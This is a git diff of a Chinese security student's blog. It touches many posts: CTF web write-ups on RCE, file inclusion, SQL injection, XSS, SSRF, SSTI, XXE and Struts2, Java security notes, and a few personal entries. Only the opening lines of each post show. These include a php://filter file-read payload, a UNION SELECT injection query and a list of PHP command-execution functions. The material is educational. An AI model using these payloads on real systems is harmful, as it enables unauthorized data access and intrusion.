diff --git "a/2024/06/03/web\345\205\245\351\227\250-rce/index.html" "b/2024/06/03/web\345\205\245\351\227\250-rce/index.html" index 675dc1c0..38f1d82e 100644 --- "a/2024/06/03/web\345\205\245\351\227\250-rce/index.html" +++ "b/2024/06/03/web\345\205\245\351\227\250-rce/index.html" @@ -49,7 +49,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

web入门-rce

写在前面

用于命令执行的常见姿势

system

+};

web入门-rce

写在前面

用于命令执行的常见姿势

system

exec

passthru

shell_exec

diff --git a/2024/06/05/CyberPunk/index.html b/2024/06/05/CyberPunk/index.html index 9b29dc59..be44b4c4 100644 --- a/2024/06/05/CyberPunk/index.html +++ b/2024/06/05/CyberPunk/index.html @@ -51,7 +51,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

CyberPunk

CyberPunk

+};

CyberPunk

CyberPunk

Lucy带David第一次来月球

之前有很多朋友安利过,看到很多同学喜欢这个动漫,看完后不出意料的非常好看

最打动我的当然是Lucy和David,David从第一次被Lucy带进月球,就一直记得Lucy最想去月球了,Lucy为了保护David一直在不顾危险的默默的付出,尽管最后并不是完美的结局,不过感动我的是他们存在于细枝末节的温柔。

diff --git "a/2024/06/17/\350\277\231\344\274\274\344\271\216\346\230\257\344\270\200\344\270\252\351\227\255\347\216\257/index.html" "b/2024/06/17/\350\277\231\344\274\274\344\271\216\346\230\257\344\270\200\344\270\252\351\227\255\347\216\257/index.html" index b4852dbe..1ba6a548 100644 --- "a/2024/06/17/\350\277\231\344\274\274\344\271\216\346\230\257\344\270\200\344\270\252\351\227\255\347\216\257/index.html" +++ "b/2024/06/17/\350\277\231\344\274\274\344\271\216\346\230\257\344\270\200\344\270\252\351\227\255\347\216\257/index.html" @@ -36,7 +36,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

可能真的要等好久了

+};

可能真的要等好久了

diff --git a/2024/06/26/byeSophomore/index.html b/2024/06/26/byeSophomore/index.html index 6b2cadfb..4f4a9b6f 100644 --- a/2024/06/26/byeSophomore/index.html +++ b/2024/06/26/byeSophomore/index.html @@ -36,7 +36,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

byeSophomore

端午回来的那天下午不小心骨折了,刚刚完成了课设,除了开学的缓考外,对我来说,大学生活已经悄然过半

+};

byeSophomore

端午回来的那天下午不小心骨折了,刚刚完成了课设,除了开学的缓考外,对我来说,大学生活已经悄然过半

说起来也挺碌碌无为的,但也不至于一事无成,只是觉得还不够。对于未来的规划,坦白说我只想老老实实上个班赚钱,大家都想赚得多,因为这样才有资格赎回属于自己的一点自由,但也挺迷茫,因为确实没想好具具体体的方向。

空虚的勉励和油腻的鸡汤一样令我反胃,如果一个人能轻易地通过几句文字得到十足的动力,这个人恐怕也单纯无脑而易于受到利用;而远大深刻真正有效的激励,却是一段话无法表达、表达后也无所裨益的:写出来只是给别人看的表决心,又不能深化这一激励。这一类的文字,要么只是流于形式的敷衍,要么就是浅薄的表露。

diff --git "a/2024/06/29/web\345\205\245\351\227\250-include/index.html" "b/2024/06/29/web\345\205\245\351\227\250-include/index.html" index e034ecac..2d9fb81c 100644 --- "a/2024/06/29/web\345\205\245\351\227\250-include/index.html" +++ "b/2024/06/29/web\345\205\245\351\227\250-include/index.html" @@ -41,7 +41,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

web入门-include

前言

主要考察是php伪协议,之前Rce里也有提过,这里放几个常用Payload

+};

web入门-include

前言

主要考察是php伪协议,之前Rce里也有提过,这里放几个常用Payload

php://filter/read=convert.base64-encode/resource=index.php

diff --git "a/2024/06/29/web\345\205\245\351\227\250-php/index.html" "b/2024/06/29/web\345\205\245\351\227\250-php/index.html" index db43c753..0454f84b 100644 --- "a/2024/06/29/web\345\205\245\351\227\250-php/index.html" +++ "b/2024/06/29/web\345\205\245\351\227\250-php/index.html" @@ -43,7 +43,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

web入门-php

web89(数组绕过)

if(isset($_GET['num'])){
+};

web入门-php

web89(数组绕过)

if(isset($_GET['num'])){
     $num = $_GET['num'];
     if(preg_match("/[0-9]/", $num)){
         die("no no no!");
diff --git "a/2024/07/02/web\345\205\245\351\227\250-upload/index.html" "b/2024/07/02/web\345\205\245\351\227\250-upload/index.html"
index 96faaad8..7424c4ec 100644
--- "a/2024/07/02/web\345\205\245\351\227\250-upload/index.html"
+++ "b/2024/07/02/web\345\205\245\351\227\250-upload/index.html"
@@ -45,7 +45,7 @@
     // Wait for 1 second before switching API hosts
     rotate: 1000,
   },
-};

web入门-upload

前言

文件上传漏洞 (上传知识点、题型总结大全-upload靶场全解)

+};

web入门-upload

前言

文件上传漏洞 (上传知识点、题型总结大全-upload靶场全解)

产生文件上传漏洞的原因

原因:

  • 对于上传文件的后缀名(扩展名)没有做较为严格的限制
  • diff --git "a/2024/07/05/web\345\205\245\351\227\250-sqli/index.html" "b/2024/07/05/web\345\205\245\351\227\250-sqli/index.html" index e96eabbd..a9aa2bbb 100644 --- "a/2024/07/05/web\345\205\245\351\227\250-sqli/index.html" +++ "b/2024/07/05/web\345\205\245\351\227\250-sqli/index.html" @@ -58,7 +58,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

    web入门-sqli

    前言

    SQL注入原理

    1.SQL注入概念及产生原因:

    当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊

    +};

    web入门-sqli

    前言

    SQL注入原理

    1.SQL注入概念及产生原因:

    当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊

    的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

    2.SQL注入的本质:

    把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则

    3.SQL注入的两个关键点:

    1.用户能控制输入的内容;

    diff --git "a/2024/07/07/\344\277\241\346\201\257\346\224\266\351\233\206/index.html" "b/2024/07/07/\344\277\241\346\201\257\346\224\266\351\233\206/index.html" index a20e76d1..9bb3c248 100644 --- "a/2024/07/07/\344\277\241\346\201\257\346\224\266\351\233\206/index.html" +++ "b/2024/07/07/\344\277\241\346\201\257\346\224\266\351\233\206/index.html" @@ -39,7 +39,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

    信息收集

    信息收集内容

    在划定了测试范围之后,就需要进入信息收集阶段。在这个阶段,渗透人员需要使用各种公开资源尽可能地获取测试目标的相关信息。他们搜集信息的互联网渠道主要有:论坛/公告板/新闻组/媒体文章/博客/社交网络/github/其他商业或非商业性的网站。此外,他们也可以借助各种搜索引擎中获取相关数据,如谷歌、雅虎、MSN必应、百度等。收集的信息主要包括:

    +};

    信息收集

    信息收集内容

    在划定了测试范围之后,就需要进入信息收集阶段。在这个阶段,渗透人员需要使用各种公开资源尽可能地获取测试目标的相关信息。他们搜集信息的互联网渠道主要有:论坛/公告板/新闻组/媒体文章/博客/社交网络/github/其他商业或非商业性的网站。此外,他们也可以借助各种搜索引擎中获取相关数据,如谷歌、雅虎、MSN必应、百度等。收集的信息主要包括:

    (1)收集目标网站服务器信息:域名、子域名、CNAME、cdn、真实IP、系统类型、版本等;

    (2)识别并收集目标网站指纹信息:CMS、中间件、网页编程语言等及其通用漏洞调查收集;

    (3)扫描并收集目标网站目录结构:一些文件可以访问获得信息、后台管理页面位置、日志位置等;

    diff --git "a/2024/07/13/web\345\205\245\351\227\250-php_unserialize/index.html" "b/2024/07/13/web\345\205\245\351\227\250-php_unserialize/index.html" index 05cea51f..565e26db 100644 --- "a/2024/07/13/web\345\205\245\351\227\250-php_unserialize/index.html" +++ "b/2024/07/13/web\345\205\245\351\227\250-php_unserialize/index.html" @@ -39,7 +39,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

    web入门-php_unserialize

    前言

    PHP 序列化及反序列化基础

    +};

    web入门-php_unserialize

    前言

    PHP 序列化及反序列化基础

    反序列化学习笔记

    [CTF]PHP反序列化总结

    魔术方法

    在 PHP 的序列化中,魔术方法(Magic Methods)是一组特殊的方法,这些方法以双下划线(__)作为前缀,可以在特定的序列化阶段触发从而使开发者能够进一步的控制 序列化 / 反序列化 的过程。

    diff --git a/2024/07/14/MoeCTF2023-web/index.html b/2024/07/14/MoeCTF2023-web/index.html index 581a9d22..1db6eef2 100644 --- a/2024/07/14/MoeCTF2023-web/index.html +++ b/2024/07/14/MoeCTF2023-web/index.html @@ -44,7 +44,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

    MoeCTF2023-web

    http

    this is GET method,         
    +};

    MoeCTF2023-web

    http

    this is GET method,         
     
     your mission:
     
    diff --git "a/2024/07/18/web\345\205\245\351\227\250-Java/index.html" "b/2024/07/18/web\345\205\245\351\227\250-Java/index.html"
    index ea66d42a..26b266b2 100644
    --- "a/2024/07/18/web\345\205\245\351\227\250-Java/index.html"
    +++ "b/2024/07/18/web\345\205\245\351\227\250-Java/index.html"
    @@ -37,7 +37,7 @@
         // Wait for 1 second before switching API hosts
         rotate: 1000,
       },
    -};

    web入门-Java

    web279-300

    史上最全Struts 2漏洞复现过程及PoC合集

    +};

    web入门-Java

    web279-300

    史上最全Struts 2漏洞复现过程及PoC合集

    web279(struts2漏洞 S2-001)

    Vulhub漏洞系列:struts2漏洞 S2-001

    刚开始只学了基础的Java类,Poc中的一些构造方法还未接触,所以刚开始用了Struts2Scan通杀脚本

    检测:

    diff --git "a/2024/07/24/Ubuntu18.04\344\270\212nginx+php\347\216\257\345\242\203\346\220\255\345\273\272/index.html" "b/2024/07/24/Ubuntu18.04\344\270\212nginx+php\347\216\257\345\242\203\346\220\255\345\273\272/index.html" index 68b0addb..ec292aa5 100644 --- "a/2024/07/24/Ubuntu18.04\344\270\212nginx+php\347\216\257\345\242\203\346\220\255\345\273\272/index.html" +++ "b/2024/07/24/Ubuntu18.04\344\270\212nginx+php\347\216\257\345\242\203\346\220\255\345\273\272/index.html" @@ -42,7 +42,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

    Ubuntu18.04上nginx+php环境搭建

    写在前面

    在学习XSS漏洞过程中,由于目前大多数XSS平台都变成了收费的,所以打算自己用服务器搭建来完成XSS题目

    +};

    Ubuntu18.04上nginx+php环境搭建

    写在前面

    在学习XSS漏洞过程中,由于目前大多数XSS平台都变成了收费的,所以打算自己用服务器搭建来完成XSS题目

    中途遇到不少问题,这里分享一下经验

    实验环境

    操作系统:Ubuntu 18.04 64位

    diff --git "a/2024/07/24/web\345\205\245\351\227\250-xss/index.html" "b/2024/07/24/web\345\205\245\351\227\250-xss/index.html" index 37997022..cf0e53d0 100644 --- "a/2024/07/24/web\345\205\245\351\227\250-xss/index.html" +++ "b/2024/07/24/web\345\205\245\351\227\250-xss/index.html" @@ -42,7 +42,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

    web入门-xss

    前言

    XSS原理

    跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。

    +};

    web入门-xss

    前言

    XSS原理

    跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。

    HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。

    俗称的见框就插。个人理解,由于HTML的标签特性,可以通过网页的输入框输入脚本代码,使网页执行恶意脚本,达到攻击的目的。

    XSS类型介绍

    反射型

    反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中

    diff --git "a/2024/07/25/web\345\205\245\351\227\250-nodejs/index.html" "b/2024/07/25/web\345\205\245\351\227\250-nodejs/index.html" index 9bedc511..4b0a0e7c 100644 --- "a/2024/07/25/web\345\205\245\351\227\250-nodejs/index.html" +++ "b/2024/07/25/web\345\205\245\351\227\250-nodejs/index.html" @@ -40,7 +40,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

    web入门-nodejs

    ctf-nodejs之一些小知识

    +};

    web入门-nodejs

    ctf-nodejs之一些小知识

    Node.js 常见漏洞学习与总结

    web334-344

    web334

    查看附件给了源码,感觉考了简单的代码审计

    // login.js
    diff --git "a/2024/07/26/DK\347\233\276/index.html" "b/2024/07/26/DK\347\233\276/index.html"
    index b3813b8a..1d4f0acb 100644
    --- "a/2024/07/26/DK\347\233\276/index.html"
    +++ "b/2024/07/26/DK\347\233\276/index.html"
    @@ -36,7 +36,7 @@
         // Wait for 1 second before switching API hosts
         rotate: 1000,
       },
    -};

    DK盾-CTFers赞助计划

    DK盾-CTFers赞助计划推广

    CTFers可获得DK盾赞助服务器,非常之物美价廉,欢迎师傅们

    +};

    DK盾-CTFers赞助计划

    DK盾-CTFers赞助计划推广

    CTFers可获得DK盾赞助服务器,非常之物美价廉,欢迎师傅们

    参与条件:

    1. 参与过5个以上国内CTF赛事,附上相关证明。
    2. diff --git "a/2024/07/27/web\345\205\245\351\227\250-JWT/index.html" "b/2024/07/27/web\345\205\245\351\227\250-JWT/index.html" index dce0821d..8453d08a 100644 --- "a/2024/07/27/web\345\205\245\351\227\250-JWT/index.html" +++ "b/2024/07/27/web\345\205\245\351\227\250-JWT/index.html" @@ -40,7 +40,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

      web入门-JWT

      JWT浅析

      JWT即JSON WEB TOKEN,由三个部分组成,并用两个“.”进行连接。第一部分为header(base64加密),第二部分为payload(base64加密),第三部分为verify signature,它的构成如下:

      +};

      web入门-JWT

      JWT浅析

      JWT即JSON WEB TOKEN,由三个部分组成,并用两个“.”进行连接。第一部分为header(base64加密),第二部分为payload(base64加密),第三部分为verify signature,它的构成如下:

      HEADER中alg对应的加密方式为HS256,也可以选择其他对称或非对称的加密方式,大同小异。

      PAYLOAD中一般包括用户信息。

      diff --git "a/2024/08/03/web\345\205\245\351\227\250-ssrf/index.html" "b/2024/08/03/web\345\205\245\351\227\250-ssrf/index.html" index 58034f6f..523abe51 100644 --- "a/2024/08/03/web\345\205\245\351\227\250-ssrf/index.html" +++ "b/2024/08/03/web\345\205\245\351\227\250-ssrf/index.html" @@ -41,7 +41,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

      web入门-ssrf

      前言

      +};

      web入门-ssrf

      前言

      SSRF (全称:Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

      如图,攻击者从外网通过 SSRF 攻击访问到内网,接着对内网的应用展开攻击,这些应用包括但不限于 MySQL,redis,SMTP 等等 ……

      正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。

      diff --git "a/2024/08/05/web\345\205\245\351\227\250-ssti/index.html" "b/2024/08/05/web\345\205\245\351\227\250-ssti/index.html" index 60f4e076..3c7a6667 100644 --- "a/2024/08/05/web\345\205\245\351\227\250-ssti/index.html" +++ "b/2024/08/05/web\345\205\245\351\227\250-ssti/index.html" @@ -42,7 +42,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

      web入门-ssti

      前言

      SSTI主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。

      +};

      web入门-ssti

      前言

      SSTI主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。

      Bugku CTF——WEB之SSTI学习笔记_ctf ssti-CSDN博客

      浅谈模板引擎 - 木的树 - 博客园

      flask之ssti模版注入从零到入门

      diff --git "a/2024/08/05/web\345\205\245\351\227\250-xxe/index.html" "b/2024/08/05/web\345\205\245\351\227\250-xxe/index.html" index 97b86358..bd7caecf 100644 --- "a/2024/08/05/web\345\205\245\351\227\250-xxe/index.html" +++ "b/2024/08/05/web\345\205\245\351\227\250-xxe/index.html" @@ -37,7 +37,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

      web入门-xxe

      前言

      [xxe漏洞的学习与利用总结]

      +};

      web入门-xxe

      前言

      [xxe漏洞的学习与利用总结]

      xml基础知识

      要了解xxe漏洞,那么一定得先明白基础知识,了解xml文档的基础组成。

      XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
      diff --git "a/2024/08/06/\346\236\201\345\256\242\345\244\247\346\214\221\346\210\2302019/index.html" "b/2024/08/06/\346\236\201\345\256\242\345\244\247\346\214\221\346\210\2302019/index.html" index f5d63cfa..3418adf2 100644 --- "a/2024/08/06/\346\236\201\345\256\242\345\244\247\346\214\221\346\210\2302019/index.html" +++ "b/2024/08/06/\346\236\201\345\256\242\345\244\247\346\214\221\346\210\2302019/index.html" @@ -48,7 +48,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

      极客大挑战2019-web

      EasySQL

      +};

      极客大挑战2019-web

      EasySQL

      签到题

      LoveSQL

      基本没啥过滤

      ?username=a' union select 1,2,3%23&password=111
      diff --git "a/2024/08/08/\345\255\227\345\205\270\347\224\237\346\210\220\344\270\216\345\257\206\347\240\201\347\210\206\347\240\264/index.html" "b/2024/08/08/\345\255\227\345\205\270\347\224\237\346\210\220\344\270\216\345\257\206\347\240\201\347\210\206\347\240\264/index.html"
      index c9e35e71..bcc52f51 100644
      --- "a/2024/08/08/\345\255\227\345\205\270\347\224\237\346\210\220\344\270\216\345\257\206\347\240\201\347\210\206\347\240\264/index.html"
      +++ "b/2024/08/08/\345\255\227\345\205\270\347\224\237\346\210\220\344\270\216\345\257\206\347\240\201\347\210\206\347\240\264/index.html"
      @@ -42,7 +42,7 @@
           // Wait for 1 second before switching API hosts
           rotate: 1000,
         },
      -};

      字典生成与密码爆破

      字典生成工具

      crunch

      简介
      # 源码
      +};

      字典生成与密码爆破

      字典生成工具

      crunch

      简介
      # 源码
       https://github.com/crunchsec/crunch

      Crunchkali自带工具之一,是一种自定义创建密码字典工具,按照指定的规则生成密码字典,可以针对性的生成字典文件

      diff --git "a/2024/08/09/KaliLinux\347\232\204\345\237\272\346\234\254\351\205\215\347\275\256/index.html" "b/2024/08/09/KaliLinux\347\232\204\345\237\272\346\234\254\351\205\215\347\275\256/index.html" index 350d58ff..26ded13f 100644 --- "a/2024/08/09/KaliLinux\347\232\204\345\237\272\346\234\254\351\205\215\347\275\256/index.html" +++ "b/2024/08/09/KaliLinux\347\232\204\345\237\272\346\234\254\351\205\215\347\275\256/index.html" @@ -44,7 +44,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

      KaliLinux的基本配置

      前言

      起因是我的kali虚拟机突然崩溃了,查了很多资料也都是推荐重装,也没有很重要的东西,但一些基本配置还是需要的

      +};

      KaliLinux的基本配置

      前言

      起因是我的kali虚拟机突然崩溃了,查了很多资料也都是推荐重装,也没有很重要的东西,但一些基本配置还是需要的

      至于下载安装网上教程很多,大部分都是跟着默认选项即可。

      环境配置

      ssh连接

      大部分linux都是命令行模式较多,所以ssh连接也非常重要

      编辑ssh配置文件
      vim /etc/ssh/sshd_config
      diff --git a/2024/08/10/MoeCTF2024-web/index.html b/2024/08/10/MoeCTF2024-web/index.html
      index 4efbf8e4..4c2799aa 100644
      --- a/2024/08/10/MoeCTF2024-web/index.html
      +++ b/2024/08/10/MoeCTF2024-web/index.html
      @@ -42,7 +42,7 @@
           // Wait for 1 second before switching API hosts
           rotate: 1000,
         },
      -};

      MoeCTF2024-web

      ProveYourLove

      +};

      MoeCTF2024-web

      ProveYourLove

      # 源码
       <!DOCTYPE html>
       <html>
      diff --git "a/2024/08/15/web\345\205\245\351\227\250-\344\273\243\347\240\201\345\256\241\350\256\241/index.html" "b/2024/08/15/web\345\205\245\351\227\250-\344\273\243\347\240\201\345\256\241\350\256\241/index.html"
      index d97e0cae..1850d86b 100644
      --- "a/2024/08/15/web\345\205\245\351\227\250-\344\273\243\347\240\201\345\256\241\350\256\241/index.html"
      +++ "b/2024/08/15/web\345\205\245\351\227\250-\344\273\243\347\240\201\345\256\241\350\256\241/index.html"
      @@ -39,7 +39,7 @@
           // Wait for 1 second before switching API hosts
           rotate: 1000,
         },
      -};

      web入门-代码审计

      web301-310

      web301

      <?php
      +};

      web入门-代码审计

      web301-310

      web301

      <?php
       error_reporting(0);
       session_start();
       require 'conn.php';
      diff --git a/2024/08/18/BaseCTF2024-web/index.html b/2024/08/18/BaseCTF2024-web/index.html
      index 4fd97884..ea444e36 100644
      --- a/2024/08/18/BaseCTF2024-web/index.html
      +++ b/2024/08/18/BaseCTF2024-web/index.html
      @@ -47,7 +47,7 @@
           // Wait for 1 second before switching API hosts
           rotate: 1000,
         },
      -};

      BaseCTF2024-web

      Aura 酱的礼物(url@)

      <?php 
      +};

      BaseCTF2024-web

      Aura 酱的礼物(url@)

      <?php 
       highlight_file(__FILE__); 
       // Aura 酱,欢迎回家~ 
       // 这里有一份礼物,请你签收一下哟~ 
      diff --git "a/2024/08/30/2024\347\276\212\345\237\216\346\235\257/index.html" "b/2024/08/30/2024\347\276\212\345\237\216\346\235\257/index.html"
      index 48eb5677..ca4a14d6 100644
      --- "a/2024/08/30/2024\347\276\212\345\237\216\346\235\257/index.html"
      +++ "b/2024/08/30/2024\347\276\212\345\237\216\346\235\257/index.html"
      @@ -38,7 +38,7 @@
           // Wait for 1 second before switching API hosts
           rotate: 1000,
         },
      -};

      2024羊城杯

      Hiden

      对原有文本进行rot47和rot13解密得到wav的加密脚本

      +};

      2024羊城杯

      Hiden

      对原有文本进行rot47和rot13解密得到wav的加密脚本

      import wave 
       
       with open('flag.txt', 'rb') as f:
      diff --git "a/2024/08/31/Java\345\237\272\347\241\200\345\255\246\344\271\240\347\254\224\350\256\260/index.html" "b/2024/08/31/Java\345\237\272\347\241\200\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
      index 007c9ba1..d3594d73 100644
      --- "a/2024/08/31/Java\345\237\272\347\241\200\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
      +++ "b/2024/08/31/Java\345\237\272\347\241\200\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
      @@ -38,7 +38,7 @@
           // Wait for 1 second before switching API hosts
           rotate: 1000,
         },
      -};

      Java基础学习笔记

      前言

      纸上得来终觉浅,绝知此事要躬行。

      +};

      Java基础学习笔记

      前言

      纸上得来终觉浅,绝知此事要躬行。

      Java入门教程-上

      Java入门教程-下

      Java Web开发教程

      diff --git "a/2024/09/07/Java\345\256\211\345\205\250\345\237\272\347\241\200-1/index.html" "b/2024/09/07/Java\345\256\211\345\205\250\345\237\272\347\241\200-1/index.html" index 16077551..6704e444 100644 --- "a/2024/09/07/Java\345\256\211\345\205\250\345\237\272\347\241\200-1/index.html" +++ "b/2024/09/07/Java\345\256\211\345\205\250\345\237\272\347\241\200-1/index.html" @@ -51,7 +51,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

      JAVA安全基础--类加载器(ClassLoader)

      0x01 概念

      Java类加载器(Java Classloader)是Java运行时环境(Java Runtime Environment)的一部分,负责动态加载Java类到Java虚拟机的内存空间中,用于加载系统、网络或者其他来源的类文件。Java源代码通过javac编译器编译成类文件,然后JVM来执行类文件中的字节码来执行程序。

      +};

      JAVA安全基础--类加载器(ClassLoader)

      0x01 概念

      Java类加载器(Java Classloader)是Java运行时环境(Java Runtime Environment)的一部分,负责动态加载Java类到Java虚拟机的内存空间中,用于加载系统、网络或者其他来源的类文件。Java源代码通过javac编译器编译成类文件,然后JVM来执行类文件中的字节码来执行程序。

      0x02 类文件编译流程图

      我们以上图为例子,比如我们创建一个ClassLoaderTest.java文件运行,经过javac编译,然后生成ClassLoaderTest.class文件。这个java文件和生成的class文件都是存储在我们的磁盘当中。但如果我们需要将磁盘中的class文件在java虚拟机内存中运行,需要经过一系列的类的生命周期(加载、连接(验证–>准备–>解析)和初始化操作,最后就是我们的java虚拟机内存使用自身方法区中字节码二进制数据去引用堆区的Class对象。

      通过这个流程图,我们就很清楚地了解到类的加载就是由java类加载器实现的,作用将类文件进行动态加载到java虚拟机内存中运行。

      diff --git "a/2024/09/07/Java\345\256\211\345\205\250\345\237\272\347\241\200-2/index.html" "b/2024/09/07/Java\345\256\211\345\205\250\345\237\272\347\241\200-2/index.html" index fcba0e3d..eb1e2a4d 100644 --- "a/2024/09/07/Java\345\256\211\345\205\250\345\237\272\347\241\200-2/index.html" +++ "b/2024/09/07/Java\345\256\211\345\205\250\345\237\272\347\241\200-2/index.html" @@ -50,7 +50,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

      JAVA安全基础-- 反射机制

      0x01 反射概念

      反射是Java的特征之一,是一种间接操作目标对象的机制,核心是JVM在运行状态的时候才动态加载类,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象,都能够调用它的方法/访问属性。这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。

      +};

      JAVA安全基础-- 反射机制

      0x01 反射概念

      反射是Java的特征之一,是一种间接操作目标对象的机制,核心是JVM在运行状态的时候才动态加载类,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象,都能够调用它的方法/访问属性。这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。

      0x02 编译机制

      静态编译:在编译时确定好类型,绑定对象。

      动态编译:在运行时确定类型,绑定对象。

      0x03 优点

      反射:将类的各个组成部分封装为其他对象,这就是反射机制。

      diff --git "a/2024/09/08/Java\345\256\211\345\205\250\345\237\272\347\241\200-3/index.html" "b/2024/09/08/Java\345\256\211\345\205\250\345\237\272\347\241\200-3/index.html" index 1590e687..437ed48d 100644 --- "a/2024/09/08/Java\345\256\211\345\205\250\345\237\272\347\241\200-3/index.html" +++ "b/2024/09/08/Java\345\256\211\345\205\250\345\237\272\347\241\200-3/index.html" @@ -41,7 +41,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

      JAVA安全基础-- 序列化与反序列化

      0x01 前言

        +};

        JAVA安全基础-- 序列化与反序列化

        0x01 前言

        • 什么是序列化与反序列化?
        • 序列化与反序列化的关键函数?
        • 反序列化过后的数据有啥特征?
        • diff --git "a/2024/09/15/2024\345\276\241\345\256\233\346\235\257-web/index.html" "b/2024/09/15/2024\345\276\241\345\256\233\346\235\257-web/index.html" index 5d10540a..00707717 100644 --- "a/2024/09/15/2024\345\276\241\345\256\233\346\235\257-web/index.html" +++ "b/2024/09/15/2024\345\276\241\345\256\233\346\235\257-web/index.html" @@ -36,7 +36,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          2024御宛杯-web

          来签个到吧~~

          <?php
          +};

          2024御宛杯-web

          来签个到吧~~

          <?php
           error_reporting(0); 
           highlight_file(__FILE__); 
           if (!($_REQUEST["\x69\x64"] == base64_encode("\150\x65\156\141\156"))) { goto lklsgyy; } 
          diff --git a/2024/09/21/PolarLab-web-Baby/index.html b/2024/09/21/PolarLab-web-Baby/index.html
          index 8e5cf625..c1f5c166 100644
          --- a/2024/09/21/PolarLab-web-Baby/index.html
          +++ b/2024/09/21/PolarLab-web-Baby/index.html
          @@ -45,7 +45,7 @@
               // Wait for 1 second before switching API hosts
               rotate: 1000,
             },
          -};

          PolarLab-web-Baby

          swp(正则最大回溯)

          先扫描得到.index.php.swp,得到源码

          +};

          PolarLab-web-Baby

          swp(正则最大回溯)

          先扫描得到.index.php.swp,得到源码

          
           function jiuzhe($xdmtql){
               return preg_match('/sys.*nb/is',$xdmtql);
          diff --git a/2024/10/01/2024NewStarCTF/index.html b/2024/10/01/2024NewStarCTF/index.html
          index 11525c0b..b3bd8bd8 100644
          --- a/2024/10/01/2024NewStarCTF/index.html
          +++ b/2024/10/01/2024NewStarCTF/index.html
          @@ -49,7 +49,7 @@
               // Wait for 1 second before switching API hosts
               rotate: 1000,
             },
          -};

          2024NewStarCTF-web

          Week1

          web

          智械危机(decrypt)

          robots.txt得到提示

          +};

          2024NewStarCTF-web

          Week1

          web

          智械危机(decrypt)

          robots.txt得到提示

           <?php
           
           function execute_cmd($cmd) {
          diff --git a/2024/10/02/2024SHCTF-web/index.html b/2024/10/02/2024SHCTF-web/index.html
          index bddaf5d9..a25ca894 100644
          --- a/2024/10/02/2024SHCTF-web/index.html
          +++ b/2024/10/02/2024SHCTF-web/index.html
          @@ -36,7 +36,7 @@
               // Wait for 1 second before switching API hosts
               rotate: 1000,
             },
          -};

          2024SHCTF-web

          +};

          2024SHCTF-web

